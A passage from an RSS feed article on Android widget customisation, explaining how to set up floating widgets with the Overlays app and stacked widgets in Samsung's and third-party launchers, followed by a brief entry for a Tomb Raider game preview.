<p class="wp-block-paragraph">If you like the notion of having a widget always available but aren’t so keen on the hidden gesture concept, an app called <a href="https://play.google.com/store/apps/details?id=com.applay.overlay" target="_blank" rel="noreferrer noopener">Overlays</a> will let you create a small floating bubble that you can position anywhere on your screen and then tap to pull any widget up when you want it — just like with <a href="https://www.computerworld.com/article/4185786/google-pixel-android-17.html#:~:text=Android%2017%20Pixel%20feature%20%231%3A%20Bubbles%20multitasking%20magic">Android’s recently revived Bubbles multitasking system</a>, only compatible with <em>any</em> Android device and version and with the simplicity of a widget instead of the complexity of an entire app.</p>



<p class="wp-block-paragraph">Check it out:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-overlays.webp" alt="Android widgets: Overlays" class="wp-image-4196886" width="800" height="852" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Overlays puts a floating icon on your screen for easy ongoing widget access.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">By default, Overlays gives you a bunch of its <em>own</em> little widgets to choose from, but the real power comes from adding in widgets from the Android apps you actually rely on. To do that, tap the “Triggers” tab at the bottom of the Overlays configuration area, then tap the red plus button in the lower-right corner of the screen. Select “Manual,” then type in whatever name you want for your widget and tap the icon to pick any icon you like.</p>



<p class="wp-block-paragraph">Tap “Save,” then select “Widget” and find the widget you want from the list. At that point, you’ll see a preview of the widget. Move or resize it if you like, then hit the arrow in the upper-left corner of the screen to exit out of that interface. Last but not least, tap the name of your newly made widget on the screen that comes up next to change its status to “Always on.”</p>



<p class="wp-block-paragraph">As soon as you head out of the app and back to your home screen, your fancy new widget should pop right up. All you’ve gotta do is tap the little downward-facing arrow in its corner to minimize it down to a bubble, which you can then press and hold to move anywhere your widget-worshipping heart desires.</p>



<p class="wp-block-paragraph">Overlays can also create widgets that automatically appear based on <em>context</em> — so you could have something show up every time you connect to a certain Bluetooth device or Wi-Fi network, for instance. To explore those options, just follow the same steps from above but pick “Event” instead of “Manual” when you reach the “Triggers” tab configuration.</p>



<p class="wp-block-paragraph">Overlays is free with an optional $4 in-app upgrade that removes some ads from the configuration tool and unlocks a handful of advanced features.</p>



<h2 class="wp-block-heading">Android widget enhancement #5: The widget stack</h2>



<p class="wp-block-paragraph">Last but not least in our collection of wacky Android widget possibilities is one of my favorite widget wonders — and that’s the ability to stack <em>multiple</em> widgets and then swipe between ’em on your home screen without having ’em take up any extra space.</p>



<p class="wp-block-paragraph">Check it out:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-smart-launcher-stacked-widgets.webp" alt="Android widgets: Smart Launcher stacked widgets" class="wp-image-4196888" width="800" height="893" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">The space-saving simplicity of stacked widgets, as seen in Smart Launcher.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">This enhancement presents a bit of a choose-your-own-adventure-style path:</p>



<p class="wp-block-paragraph">First, if you’re using a reasonably recent Samsung Galaxy gizmo, the option is should already be present and available in your standard Samsung home screen setup. Just press and hold any open space on your home screen and then select the option to add a widget — then, once the widget is added, press and hold it and look for the “Create stack” command.</p>



<p class="wp-block-paragraph">With any other Android gadget — or even with a Samsung device, if you want extra options and flexibility — you can use a <a href="https://www.computerworld.com/article/1723954/android-launchers-for-enhanced-efficiency.html">custom Android launcher</a> like the aforementioned <a href="https://play.google.com/store/apps/details?id=ginlemon.flowerfree&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Smart Launcher</a> or <a href="https://play.google.com/store/apps/details?id=bitpit.launcher" target="_blank" rel="noreferrer noopener">Niagara</a> as well as the retro-geeky T9-themed <a href="https://play.google.com/store/apps/details?id=com.loitran.minimalt9launcher.free" target="_blank" rel="noreferrer noopener">Key Launcher</a> I <a href="https://www.computerworld.com/article/4180222/retro-android-home-screen.html">introduced to you</a> earlier this summer.</p>



<p class="wp-block-paragraph">Those launchers replace your phone’s entire home screen environment and give you all sorts of interesting new possibilities for optimizing your interface and making it especially well-suited for <em>you</em>. And the stacked widget feature is just one small sliver of what they offer and how they’ll transform your Android experience.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-smart-launcher-stacked-widgets-setup.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android widgets: Smart Launcher stacked widgets setup" class="wp-image-4196890" width="1024" height="896" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The setup interface for a widget stack within Smart Launcher.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">So there ya have it: five wacky, wild, wonderful ways to make widgets even more wow-inducing. Some days, you’ve just gotta love Android and the endless customization, control, and power it provides.</p>



<p class="wp-block-paragraph"><em>Put even more Googley goodness in your noggin with</em> <a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><em>my free Android Intelligence newsletter</em></a><em> — one exceptional new thing to try every Friday!</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tomb Raider: Legacy of Atlantis seems like the glow-up the gaming icon needed  — but I’ve not seen enough yet]]></title>
<description><![CDATA[Tomb Raider: Legacy of Atlantis looks and feels the part of a reinterpreted classic — but I need to see more before I’m fully convinced.]]></description>
<link>https://tsecurity.de/de/3670228/it-nachrichten/tomb-raider-legacy-of-atlantis-seems-like-the-glow-up-the-gaming-icon-needed-but-ive-not-seen-enough-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670228/it-nachrichten/tomb-raider-legacy-of-atlantis-seems-like-the-glow-up-the-gaming-icon-needed-but-ive-not-seen-enough-yet/</guid>
<pubDate>Wed, 15 Jul 2026 12:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tomb Raider: Legacy of Atlantis looks and feels the part of a reinterpreted classic — but I need to see more before I’m fully convinced.]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,45ms -->